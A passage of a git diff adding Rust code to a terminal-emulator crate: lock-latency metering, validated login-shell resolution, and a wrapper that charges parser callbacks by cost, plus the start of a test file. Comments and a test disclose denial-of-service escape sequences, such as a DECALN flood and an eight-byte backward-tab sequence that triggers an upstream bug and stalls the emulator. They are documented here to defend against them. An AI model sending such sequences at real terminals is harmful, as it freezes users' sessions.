+} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/shared.rs b/desktop/src-tauri/crates/buzz-terminal/src/shared.rs new file mode 100644 index 0000000000..72aac2ce4d --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/shared.rs @@ -0,0 +1,305 @@ +//! The lock the reader and the renderer contend for, and the meter on it. +//! +//! This lives in the engine crate rather than in the embedder because the +//! property it exists to prove is a property of the emulator *and* the lock +//! together: F1 bounds how many bytes one `feed` releases into the parser, +//! which bounds how long the reader can hold this mutex, which bounds how long +//! the renderer waits for it. Split the lock out to the Tauri layer and the +//! gate can only be written where no fixture runs. +//! +//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is +//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart, +//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the +//! wrong quantity; waiting time is the one a human feels. So the two planes are +//! metered separately: pooling them would let the reader's millions of fast +//! acquires dilute the renderer's tail into a false pass. + +use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering}; +use std::time::Instant; + +use alacritty_terminal::sync::FairMutex; +use parking_lot::MutexGuard; + +use crate::damage::{self, Encoder, Frame}; +use crate::Terminal; + +/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds, +/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is +/// the point: nothing is silently clamped into the last bucket. +const BUCKETS: usize = 32; + +fn bucket_of(micros: u64) -> usize { + (u64::BITS - micros.leading_zeros()) as usize +} + +/// Upper bound of a bucket, in microseconds. Percentiles report this, so a +/// reported latency is never better than what was actually observed. +fn bucket_ceiling(bucket: usize) -> u64 { + if bucket == 0 { + 0 + } else { + (1u64 << bucket) - 1 + } +} + +/// Lock-acquisition latencies for one plane, recorded without taking a second +/// lock -- an instrument that contends is measuring itself. +#[derive(Debug)] +pub struct AcquireMeter { + acquisitions: AtomicU64, + max_micros: AtomicU64, + buckets: [AtomicU32; BUCKETS], +} + +impl Default for AcquireMeter { + fn default() -> Self { + Self { + acquisitions: AtomicU64::new(0), + max_micros: AtomicU64::new(0), + buckets: std::array::from_fn(|_| AtomicU32::new(0)), + } + } +} + +impl AcquireMeter { + fn record(&self, micros: u64) { + self.acquisitions.fetch_add(1, Ordering::Relaxed); + self.max_micros.fetch_max(micros, Ordering::Relaxed); + self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed); + } + + /// Read the counters. Cheap and non-blocking; safe to call from a gate + /// while the flood is still running. + pub fn snapshot(&self) -> AcquireStats { + AcquireStats { + acquisitions: self.acquisitions.load(Ordering::Relaxed), + max_micros: self.max_micros.load(Ordering::Relaxed), + buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)), + } + } + + /// Clear the counters. Diagnostics are per-run. + pub fn reset(&self) { + self.acquisitions.store(0, Ordering::Relaxed); + self.max_micros.store(0, Ordering::Relaxed); + for bucket in &self.buckets { + bucket.store(0, Ordering::Relaxed); + } + } +} + +/// A read of one plane's acquisition latencies. +/// +/// `max_micros` is exact because the budget it answers to -- no acquire above +/// one frame at 60 Hz -- is a statement about a single worst event. The +/// distribution is bucketed by powers of two because the budget *it* answers to +/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two +/// resolution against 80x of margin buys nothing for the memory it costs. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct AcquireStats { + pub acquisitions: u64, + pub max_micros: u64, + buckets: [u32; BUCKETS], +} + +impl AcquireStats { + /// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to + /// the enclosing bucket's ceiling. + pub fn percentile_micros(&self, p: f64) -> u64 { + if self.acquisitions == 0 { + return 0; + } + let target = (self.acquisitions as f64 * p).ceil() as u64; + let mut seen = 0u64; + for (bucket, count) in self.buckets.iter().enumerate() { + seen += *count as u64; + if seen >= target { + return bucket_ceiling(bucket); + } + } + self.max_micros + } +} + +/// A [`Terminal`] shared between the PTY reader and the renderer. +pub struct SharedTerminal { + term: FairMutex, + reader: AcquireMeter, + renderer: AcquireMeter, + closing: AtomicBool, +} + +impl SharedTerminal { + pub fn new(term: Terminal) -> Self { + Self { + term: FairMutex::new(term), + reader: AcquireMeter::default(), + renderer: AcquireMeter::default(), + closing: AtomicBool::new(false), + } + } + + /// Acquisition latencies for the PTY-reader plane. + pub fn reader_acquire(&self) -> &AcquireMeter { + &self.reader + } + + /// Acquisition latencies for the renderer plane. This is the one with a + /// budget attached. + pub fn renderer_acquire(&self) -> &AcquireMeter { + &self.renderer + } + + /// Feed PTY output into the emulator. Reader plane. + /// + /// Returns whether a tail remains: one acquisition parses one work + /// budget, then **drops the lock** so the renderer can have it. The + /// caller pumps [`SharedTerminal::drain`] until it returns false. Doing + /// the whole buffer under one acquisition is what an unbounded hold *is*, + /// so it is not offered here. + pub fn feed(&self, bytes: &[u8]) -> bool { + let mut term = self.acquire(&self.reader); + if self.closing.load(Ordering::Acquire) { + false + } else { + term.feed(bytes) + } + } + + /// Parse more of the pending tail under a fresh acquisition. Reader + /// plane. Returns whether any remains. + pub fn drain(&self) -> bool { + let mut term = self.acquire(&self.reader); + if self.closing.load(Ordering::Acquire) { + false + } else { + term.drain() + } + } + + /// Feed and pump to completion, re-acquiring between slices. + pub fn feed_fully(&self, bytes: &[u8]) { + let mut more = self.feed(bytes); + while more { + more = self.drain(); + } + } + + /// Atomically enter close mode and discard parser work. Subsequent PTY + /// bytes are raw-drained by the embedder and never reach callbacks. + pub fn begin_closing(&self) -> usize { + self.closing.store(true, Ordering::Release); + self.acquire(&self.reader).abandon_tail() + } + + pub fn is_closing(&self) -> bool { + self.closing.load(Ordering::Acquire) + } + + /// Sample damage and encode a frame. Renderer plane. + /// + /// The lock covers the copy only; `encode` -- hashing, span grouping, + /// allocation -- runs after the guard drops, which is worth ~75x in hold + /// time. The `Encoder` is the caller's because its dedup state is per + /// consumer, and passing it in keeps the encode off this lock by + /// construction rather than by remembering to. + pub fn render(&self, encoder: &mut Encoder) -> Frame { + let raw = { + let mut term = self.acquire(&self.renderer); + damage::capture(&mut term) + }; + encoder.encode(raw) + } + + /// Copy the whole viewport for a subscriber that arrived mid-stream. + /// Renderer plane. + /// + /// Attach, reattach, and the successor side of a resize all need the + /// screen as it stands, not the next thing to change on it. Crucially this + /// leaves damage alone, so taking a snapshot for a newcomer cannot steal + /// the incumbent renderer's pending rows -- see [`damage::capture_all`]. + /// + /// Costs a full grid copy under the lock, so call it on attach rather than + /// per frame. + pub fn snapshot(&self, encoder: &mut Encoder) -> Frame { + let raw = { + let mut term = self.acquire(&self.renderer); + damage::capture_all(&mut term) + }; + encoder.encode(raw) + } + + /// Move the viewport through scrollback. Renderer plane. + /// + /// Positive moves into history; see [`crate::Terminal::scroll`]. Returns + /// whether it moved, so the caller can skip capture and publication for + /// the momentum tail that arrives after history has run out. + pub fn scroll(&self, lines: i32) -> bool { + self.acquire(&self.renderer).scroll(lines) + } + + /// Return the viewport to the live edge. Renderer plane. Returns whether + /// it moved, so an unscrolled terminal costs one comparison per keystroke + /// and no repaint. + pub fn scroll_to_bottom(&self) -> bool { + self.acquire(&self.renderer).scroll_to_bottom() + } + + /// Apply a coalesced resize. Renderer plane: this competes with the + /// renderer for the same lock and can hold it for milliseconds. + pub fn resize(&self, size: crate::Size) -> crate::Viewport { + self.acquire(&self.renderer).resize(size) + } + + /// Take the lock for something the methods above don't cover (input, + /// reading stats). Metered on the renderer plane, since anything + /// that isn't the read loop competes with the renderer for the same lock. + pub fn lock(&self) -> MutexGuard<'_, Terminal> { + self.acquire(&self.renderer) + } + + /// Modes the renderer/input boundary needs to report alongside frames. + pub fn input_modes(&self) -> (bool, bool) { + let term = self.acquire(&self.renderer); + let mode = term.term().mode(); + ( + mode.contains(alacritty_terminal::term::TermMode::BRACKETED_PASTE), + mode.contains(alacritty_terminal::term::TermMode::FOCUS_IN_OUT), + ) + } + + fn acquire(&self, meter: &AcquireMeter) -> MutexGuard<'_, Terminal> { + let started = Instant::now(); + let guard = self.term.lock(); + meter.record(started.elapsed().as_micros() as u64); + guard + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{Fences, Size}; + + #[test] + fn closing_abandons_tail_and_permanently_refuses_parser_callbacks() { + let (terminal, _actions) = Terminal::new(Size::default(), Fences::ALL); + let shared = SharedTerminal::new(terminal); + let payload = b"\x1b#8".repeat(10_000); + + assert!(shared.feed(&payload), "fixture must create parser tail"); + let before = shared.lock().stats(); + let abandoned = shared.begin_closing(); + assert!(abandoned > 0, "close must abandon without draining first"); + assert!(shared.is_closing()); + + assert!(!shared.feed(b"parser callback after close")); + assert!(!shared.drain()); + let after = shared.lock().stats(); + assert_eq!(after.completed_units, before.completed_units); + assert_eq!( + after.abandoned_bytes, + before.abandoned_bytes + abandoned as u64 + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/shell.rs b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs new file mode 100644 index 0000000000..fcee20ca27 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/shell.rs @@ -0,0 +1,138 @@ +//! Login-shell resolution for spawned PTY children. +//! +//! Tyler asked for the user's shell of choice, so the resolution order is the +//! user's own: `$SHELL`, then the passwd entry, then `/bin/sh`. What matters +//! is the *validity* test applied at each step, and it is not "the path +//! exists". +//! +//! `portable-pty` gates both steps on `access(X_OK)` (`cmdbuilder.rs:545-553` +//! for `$SHELL`, `:43-71` for passwd). `access(X_OK)` answers "may I execute +//! this" for *any* file type, and a directory carries the execute bit to mean +//! "may I traverse it" — so `access("/tmp", X_OK)` returns 0. Verified by C +//! repro and end-to-end through a real PTY: with `SHELL=/tmp`, +//! `CommandBuilder::get_shell()` returns `"/tmp"`, `spawn_command` returns +//! `Ok`, and the child dies with exit code 1 after printing +//! `fatal runtime error: assertion failed: output.write(&bytes).is_ok()`. +//! The user gets a terminal that opens and instantly dies with a Rust runtime +//! panic, and every layer above reported success. +//! +//! So we require an **executable regular file**, following symlinks: `stat` +//! rather than `lstat` semantics, because `/bin/sh` is legitimately a symlink +//! on many systems. A directory or a non-executable file falls through to the +//! next candidate instead of becoming an unspawnable child. + +use std::path::Path; + +/// Last-resort shell. POSIX guarantees `/bin/sh`; if this is not executable +/// the machine has bigger problems than our terminal. +pub const FALLBACK_SHELL: &str = "/bin/sh"; + +/// Returns true if `path` is a regular file this process may execute. +/// +/// The conjunction is load-bearing and neither half suffices: +/// +/// - `access(X_OK)` alone accepts a **directory** — the execute bit means +/// *traverse* there, so `access("/tmp", X_OK) == 0`. That is the bug +/// inherited from `portable-pty` (`cmdbuilder.rs:545-553`): with +/// `SHELL=/tmp` the child aborts with a Rust runtime panic while every +/// layer reports success. +/// - Raw `mode & 0o111` alone accepts a file the caller **cannot** execute. +/// The bits say *some* class has execute permission, not the applicable +/// one, and they do not evaluate ACLs. Verified with a self-owned regular +/// file at mode `0o010`: `mode & 0o111` is true, `access(X_OK)` is -1, and +/// running it gives `Permission denied`. +/// +/// So: regular-file metadata (following symlinks, because `/bin/sh -> dash` +/// is legitimate) **and** effective executability via `access(X_OK)`. +#[cfg(unix)] +pub fn is_executable_file(path: &Path) -> bool { + let Ok(meta) = std::fs::metadata(path) else { + return false; + }; + meta.is_file() && can_execute(path) +} + +/// `access(path, X_OK)`: does the *effective* user have execute permission, +/// accounting for the applicable permission class and ACLs? +#[cfg(unix)] +fn can_execute(path: &Path) -> bool { + use std::os::unix::ffi::OsStrExt; + + let Ok(c_path) = std::ffi::CString::new(path.as_os_str().as_bytes()) else { + return false; // interior NUL: not a path we can ask about + }; + // SAFETY: `c_path` is a valid NUL-terminated C string for the duration of + // the call, and `access` only reads it. + unsafe { libc::access(c_path.as_ptr(), libc::X_OK) == 0 } +} + +/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then +/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`]. +/// +/// `shell_env` is the caller's view of `$SHELL` so the resolution order is +/// testable without mutating process-global state; production passes +/// `std::env::var_os("SHELL")`. +#[cfg(unix)] +pub fn resolve_shell(shell_env: Option<&str>) -> String { + // One validation path for every candidate, deliberately. Validating each + // branch separately leaves the passwd branch's check untestable on any + // machine whose passwd shell happens to be valid — a mutant that deletes + // it survives because nothing can distinguish it. Sharing `validated` + // means the `$SHELL` arm's coverage is the passwd arm's coverage. + let candidates = [shell_env.map(str::to_owned), passwd_shell()]; + candidates + .into_iter() + .flatten() + .find(|candidate| validated(candidate)) + .unwrap_or_else(|| FALLBACK_SHELL.to_owned()) +} + +/// The single validity test every shell candidate must pass. +#[cfg(unix)] +fn validated(candidate: &str) -> bool { + is_executable_file(Path::new(candidate)) +} + +/// The current user's login shell from the passwd database, unvalidated: +/// `resolve_shell` applies the shared [`validated`] check to it. +/// +/// This is the step that matters for a Finder- or launchd-started app, which +/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh` +/// and call it their shell of choice. +#[cfg(unix)] +pub(crate) fn passwd_shell() -> Option { + // SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by + // libc, valid until the next passwd-database call. We copy the string out + // before returning and make no other libc calls in between. + let shell = unsafe { + let ent = libc::getpwuid(libc::getuid()); + if ent.is_null() { + return None; + } + let pw_shell = (*ent).pw_shell; + if pw_shell.is_null() { + return None; + } + std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned() + }; + + Some(shell) +} + +/// The login-shell `argv[0]` convention: the shell's basename prefixed with +/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as +/// a login shell, without sniffing its name or guessing its flag grammar. +/// +/// `portable-pty` applies this itself for a default program +/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted +/// against a value we own rather than against the dependency's behaviour. +pub fn login_argv0(shell: &str) -> String { + let basename = shell.rsplit('/').next().unwrap_or(shell); + format!("-{basename}") +} + +/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd. +#[cfg(windows)] +pub fn resolve_shell(shell_env: Option<&str>) -> String { + shell_env.unwrap_or("cmd.exe").to_owned() +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/units.rs b/desktop/src-tauri/crates/buzz-terminal/src/units.rs new file mode 100644 index 0000000000..7d2a9f032b --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/units.rs @@ -0,0 +1,382 @@ +//! Counting what the parser *does*, not how many bytes it read. +//! +//! Both fences in [`crate::fences`] meter bytes. That is the right denominator +//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m` +//! and `ESC#8` are four bytes each; the first sets an attribute and the second +//! rewrites every cell of the grid. Metering the reader's lock hold in bytes +//! therefore prices those identically, and a stream of the second one holds the +//! lock for as long as it likes without ever tripping a byte budget. +//! +//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us +//! budget with **zero** F1 aborts -- the fence never fires, because nothing is +//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300 +//! dropped frames in a single lock hold. +//! +//! So this module adds a third quantity: the number of *completed parser +//! units* -- one per `Handler` callback the parser dispatches, which is one +//! per fully-parsed escape sequence or printed character. It is a proxy for +//! work rather than a measure of it, but it has the property the byte count +//! lacks: it advances once per thing the emulator actually did. +//! +//! ## Why a wrapper, and not vte's own stopping point +//! +//! `Parser::advance_until_terminated` already supports stopping mid-buffer, +//! but termination is driven by `Perform::terminated()`, and in the ansi layer +//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`: +//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling). +//! An embedder cannot reach it, so the stopping point has to be built outside +//! the parser rather than inside it. +//! +//! ## What this deliberately does not do +//! +//! It does not skip or veto expensive callbacks once a budget is spent. That +//! would bound the lock hold perfectly and silently corrupt the screen, which +//! is a worse failure than the one being fixed: a slow terminal recovers, a +//! wrong one does not. Every unit is delegated; the count only decides where +//! the *caller* may cut the input. + +use alacritty_terminal::event::EventListener; +use alacritty_terminal::term::Term; +use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon; +use alacritty_terminal::vte::ansi::{ + Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes, + KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb, + ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode, +}; + +/// Read access to the cursor column of whatever the wrapper is driving. +/// +/// Exists for exactly one callback. CBT's cost is bounded by *cursor +/// movement*, and the only way to charge it honestly -- or to stop it early +/// -- is to watch the cursor between steps. Everything else in this module is +/// priced from the grid alone, which is why this is a separate trait and a +/// separate bound rather than a field on [`Counting`]. +/// +/// Implemented over the public path in `alacritty_terminal-0.26.0`: +/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) -> +/// `Cursor::point` (grid/mod.rs:36). No private field, no fork. +pub trait CursorColumn { + fn cursor_column(&self) -> usize; +} + +impl CursorColumn for Term { + #[inline] + fn cursor_column(&self) -> usize { + self.grid().cursor.point.column.0 + } +} + +/// Wraps a [`Handler`], forwarding every callback and counting them. +/// +/// Every one of the trait's 71 methods has an empty default body upstream, so +/// a method left undelegated here would compile cleanly and silently discard +/// that escape sequence. The delegations are therefore generated by a macro +/// over the full method list rather than written out: the failure mode of +/// hand-copying is invisible. +pub struct Counting<'a, H: Handler + CursorColumn> { + inner: &'a mut H, + /// Callbacks dispatched, one per unit regardless of cost. This is the + /// fixture-facing number: it says what the parser *did*, and it is kept + /// separate from `work` because collapsing them is precisely the mistake + /// that made the first version of this seam useless. + units: u64, + /// Cost-weighted work, in cell-equivalents. This is the scheduling number. + work: u64, + columns: u64, + lines: u64, + /// Configured scrollback depth, not current fill. See `reset_state`. + scrollback: u64, +} + +impl<'a, H: Handler + CursorColumn> Counting<'a, H> { + /// `columns` and `lines` are the grid the handler is about to act on, and + /// they are the weights' only input: an O(cells) callback is charged + /// `columns * lines` because that is what it touches. + pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self { + Self { + inner, + units: 0, + work: 0, + columns: columns as u64, + lines: lines as u64, + scrollback: scrollback as u64, + } + } + + /// Callbacks dispatched since this wrapper was created. + pub fn units(&self) -> u64 { + self.units + } + + /// Cost-weighted work dispatched, in cell-equivalents. + pub fn work(&self) -> u64 { + self.work + } + + /// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this + /// product is reachable, and a wrapped weight prices the most expensive + /// callbacks as the cheapest. + #[inline] + fn cells(&self) -> u64 { + self.columns.saturating_mul(self.lines) + } + + /// A parameter charged at its clamped value. + /// + /// Upstream clamps most counts to the grid before acting on them, so the + /// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column + /// grid touches 80 cells. Charging the raw parameter would let a + /// four-byte escape spend the whole slice budget without doing the work, + /// which stalls the parser as surely as under-charging lets it run away. + #[inline] + fn clamp(&self, n: usize, bound: u64) -> u64 { + (n as u64).min(bound).max(1) + } + + #[inline] + fn charge(&mut self, weight: u64) { + self.units = self.units.saturating_add(1); + self.work = self.work.saturating_add(weight); + } +} + +/// Generate a delegating, counting implementation for every `Handler` method. +/// +/// Two groups, because the methods differ in *cost*, not in kind. `plain` +/// methods are charged one unit. `weighted` methods are charged what they +/// touch, using the expressions in the table below -- these are the ones a +/// hostile stream can use to buy grid-sized work with a four-byte escape. +/// +/// The count is incremented *before* delegating, so a callback that panics +/// still leaves evidence it was attempted. +macro_rules! counting_handler { + ( + plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* } + weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* } + ) => { + impl Handler for Counting<'_, H> { + $( + #[inline] + fn $pname(&mut self $(, $parg: $pty)*) { + self.charge(1); + self.inner.$pname($($parg),*); + } + )* + $( + #[inline] + fn $wname(&mut self $(, $warg: $wty)*) { + let weight = { let $this = &*self; $weight }; + self.charge(weight); + self.inner.$wname($($warg),*); + } + )* + + /// The one callback this wrapper does not delegate verbatim. + /// + /// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no + /// tabstop below the cursor, `move_backward_tabs` + /// (`term/mod.rs:1580`) assigns `col` *inside* the `if + /// self.tabs[i]` test, so the cursor never moves, the `col == 0` + /// break is unreachable, and all N iterations rescan the row. + /// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns. + /// Its twin `move_forward_tabs` (1605) assigns *outside* the + /// test, always advances, and is fine: same file, same loop + /// skeleton, and the entire difference is one assignment's + /// placement relative to one branch. + /// + /// The fix is a termination condition, not a smaller number. + /// Each step either moves the cursor strictly left or is a fixed + /// point, and **a fixed point is permanent** -- the scan depends + /// only on the cursor, which did not move. So the loop can stop + /// at the first one. The leftward distances telescope to at most + /// the starting column, plus one final failed scan, so the whole + /// callback is O(columns) and the delegated-call count is at most + /// `columns - 1`. + /// + /// Equivalence is not argued, it is checked: every tabstop subset + /// of a 12-column grid x 4 start columns x 7 counts (114_688 + /// cases) lands on the same column as the naive loop, on a real + /// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the + /// fixed-point break leaves the *landing column correct* and only + /// the cost wrong, so the fixture that guards this must assert + /// units, never the cursor. + #[inline] + fn move_backward_tabs(&mut self, count: u16) { + // One unit for the escape, as every other callback gets. + self.charge(1); + for _ in 0..count { + let before = self.inner.cursor_column(); + // No `before == 0` guard: column 0 is already a fixed + // point (upstream's own `col == 0` break leaves the + // cursor alone), so the check below covers it and a + // second one would be unreachable-by-construction code + // that no test could distinguish. + self.inner.move_backward_tabs(1); + let after = self.inner.cursor_column(); + // Charge the cells this step scanned. A step that finds a + // stop scans the distance it moved; a step that finds + // none scans the whole prefix and moves nothing -- + // charging that one zero would leave a loop that spins + // without ever paying, which is precisely the mutant this + // pricing has to make visible. + let scanned = if after == before { before } else { before - after }; + self.work = self.work.saturating_add(scanned as u64); + if after == before { + // A fixed point is permanent: the scan depends only + // on the cursor, and the cursor did not move. + break; + } + } + } + } + }; +} + +counting_handler! { + plain { + set_title(a0: Option); + set_cursor_style(a0: Option); + set_cursor_shape(shape: CursorShape); + input(c: char); + goto(line: i32, col: usize); + goto_line(line: i32); + goto_col(col: usize); + move_up(a0: usize); + move_down(a0: usize); + identify_terminal(intermediate: Option); + device_status(a0: usize); + move_forward(col: usize); + move_backward(col: usize); + move_down_and_cr(row: usize); + move_up_and_cr(row: usize); + backspace(); + carriage_return(); + linefeed(); + bell(); + substitute(); + newline(); + set_horizontal_tabstop(); + save_cursor_position(); + restore_cursor_position(); + clear_tabs(mode: TabulationClearMode); + set_tabs(interval: u16); + reverse_index(); + terminal_attribute(attr: Attr); + set_mode(mode: Mode); + unset_mode(mode: Mode); + report_mode(mode: Mode); + set_private_mode(mode: PrivateMode); + unset_private_mode(mode: PrivateMode); + report_private_mode(mode: PrivateMode); + set_scrolling_region(top: usize, bottom: Option); + set_keypad_application_mode(); + unset_keypad_application_mode(); + set_active_charset(a0: CharsetIndex); + configure_charset(a0: CharsetIndex, a1: StandardCharset); + set_color(a0: usize, a1: Rgb); + dynamic_color_sequence(a0: String, a1: usize, a2: &str); + reset_color(a0: usize); + clipboard_store(a0: u8, a1: &[u8]); + clipboard_load(a0: u8, a1: &str); + push_title(); + pop_title(); + text_area_size_pixels(); + text_area_size_chars(); + set_hyperlink(a0: Option); + set_mouse_cursor_icon(a0: CursorIcon); + report_keyboard_mode(); + push_keyboard_mode(mode: KeyboardModes); + pop_keyboard_modes(to_pop: u16); + set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior); + set_modify_other_keys(mode: ModifyOtherKeys); + report_modify_other_keys(); + set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode); + } + weighted { + // Every weight below is an upper bound on the cells the callback can + // touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and + // then checked against measurement -- never fitted to a curve. The + // direction of the error is the whole point: an over-charge slices + // early and costs throughput, an under-charge is an attack surface, so + // where source and measurement disagree the source bound wins and the + // slack is recorded here rather than tuned away. + // + // `min(N, ...)` appears wherever upstream clamps the parameter; a raw + // `N` would let `ESC[65535X` charge 65535 on an 80-column grid and + // stall the parser on a cheap escape. + + // O(min(N, columns)): `end = min(start + count, columns)`, loop + // `row[start..end]` (1519). Knee measured exactly at N == columns. + erase_chars(count: usize) => |this| this.clamp(count, this.columns); + // O(columns) for *every* N, worst at N=1: the swap loop runs + // `columns - end` times where `end = min(start + N, columns - 1)` + // (1538), so cost *falls* as N rises. Charging by N would be backwards + // and would under-charge the worst case by the full terminal width -- + // measured 3422ns at N=1/1600 columns against 863ns at N=65535. + delete_chars(a0: usize) => |this| this.columns; + // O(columns) for every N, worst at N=1. Same shape as `delete_chars`: + // `num_cells = columns - (column + count)` (1187). + insert_blank(a0: usize) => |this| this.columns; + // O(columns): scans to the next tabstop per count, and always advances + // (`col` is assigned unconditionally at 1592), so the whole loop is + // bounded by one traversal of the row. This is the sibling that CBT + // should have been, one asymmetric line apart in the same file. + put_tab(count: u16) => |this| this.columns; + move_forward_tabs(count: u16) => |this| this.columns; + // NOTE: `move_backward_tabs` is NOT in this table. It is the one + // callback whose argument is rewritten, so it is written out by hand + // below the macro's generated methods -- a weight can price an atom but + // cannot shrink one. + // O(min(N, lines) x columns) in steady state: the row rotation is O(1) + // on the ring buffer, but `positions` rows are `reset()`, and a row + // reset is O(columns). + // + // **Known overshoot, measured and frequency-bounded.** While scrollback + // is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize` + // reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s + // the ring (`grid/storage.rs`). That is not chargeable from here -- the + // weight function cannot see history depth -- and it is real: at 1600 + // columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call + // scroll, ~4 ms each, against a 125 ns median. It is bounded in + // frequency (once per 1000 new history rows, and never once history + // saturates: with scrollback=100 only call 0 spikes) and it is upstream + // allocation rather than anything a stream can amplify, so it is + // recorded here instead of being priced into every scroll -- charging + // 1000x on 999 calls out of 1000 to cover the thousandth would make + // ordinary scrolling the slow path. + scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + // O(columns): one row, `damage_line(line, 0, columns - 1)`. + clear_line(mode: LineClearMode) => |this| this.columns; + // O(cells): 18.7us at 200x50, doubling on both axes. + clear_screen(mode: ClearMode) => |this| this.cells(); + // O(cells): rewrites every cell. + decaln() => |this| this.cells(); + // Both grids, plus the scrollback the primary owns. + // + // `reset_state` (1835) resets the primary *and* the alternate, and each + // `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` + + // `rezero`, which walks the raw buffer. So the cost carries a history + // axis that `cells` alone cannot see: measured 0.5 us empty against + // 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with + // the knee exactly at `screen_lines + MAX_CACHE_SIZE` where + // `shrink_lines` starts calling `truncate`. + // + // Priced on **configured** depth rather than current fill, which is the + // conservative choice and the only correct one: `history_size()` reads + // the *active* grid, so a filled primary followed by `ESC[?1049h` + // reports an empty history while RIS still pays for the inactive + // primary's rows -- underpriced 41x on exactly the arm an attacker + // would pick. The inactive grid is private, so there is no stateless + // way to observe the real fill; the configured depth bounds both. + // + // This is the one weight that can exceed [`crate::fences::WORK_BUDGET`] + // on its own -- 16x at the default 10k scrollback -- which is correct: + // it is a genuinely oversized uninterruptible atom, and a budget that + // hid that would be lying about what one drain can cost. + reset_state() => |this| this.cells().saturating_mul(2) + .saturating_add(this.scrollback.saturating_mul(this.columns)); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs b/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs new file mode 100644 index 0000000000..9486aa8742 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs @@ -0,0 +1,344 @@ +//! The cluster-positioning contract: what the renderer may rely on to place +//! text at the right column without consulting Unicode tables. +//! +//! The consumer's rule reads two numbers off each span and does arithmetic: +//! `cluster_count == 1` means the whole text is one cluster at `column`, +//! otherwise cluster `i` is the i-th `char` at `column + i * width`. +//! +//! These fixtures exist because that rule is not self-evidently satisfiable -- +//! the two cases below require *opposite* text-splitting rules, so no encoding +//! that ships a concatenated string and a start column can be correct: +//! +//! * a regional-indicator flag is two ordinary one-column cells, so its two +//! codepoints occupy two columns and must split per codepoint; +//! * a keycap is one cell holding three codepoints, so it occupies one column +//! and must split per grapheme. +//! +//! Both are handled here by construction rather than by rule: uniform `width` +//! within a span, and a span of its own for any cluster carrying zerowidth +//! marks. + +use buzz_terminal::damage::{Encoder, Span}; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel and every subsequent listener send silently fails. +fn render(input: &str) -> (Vec, Receiver) { + let size = Size { + columns: 20, + screen_lines: 2, + scrollback: 100, + }; + let (term, actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + shared.feed_fully(input.as_bytes()); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + let spans = frame + .rows + .into_iter() + .find(|row| row.line == 0) + .map(|row| row.spans) + .unwrap_or_default(); + (spans, actions) +} + +/// Apply the documented consumer rule and return `(column, cluster)` pairs, +/// dropping trailing blank padding. +/// +/// This is the renderer's arithmetic, written out. Note what is *not* here: no +/// Unicode table, no zerowidth classifier, no grapheme segmentation. The +/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher, 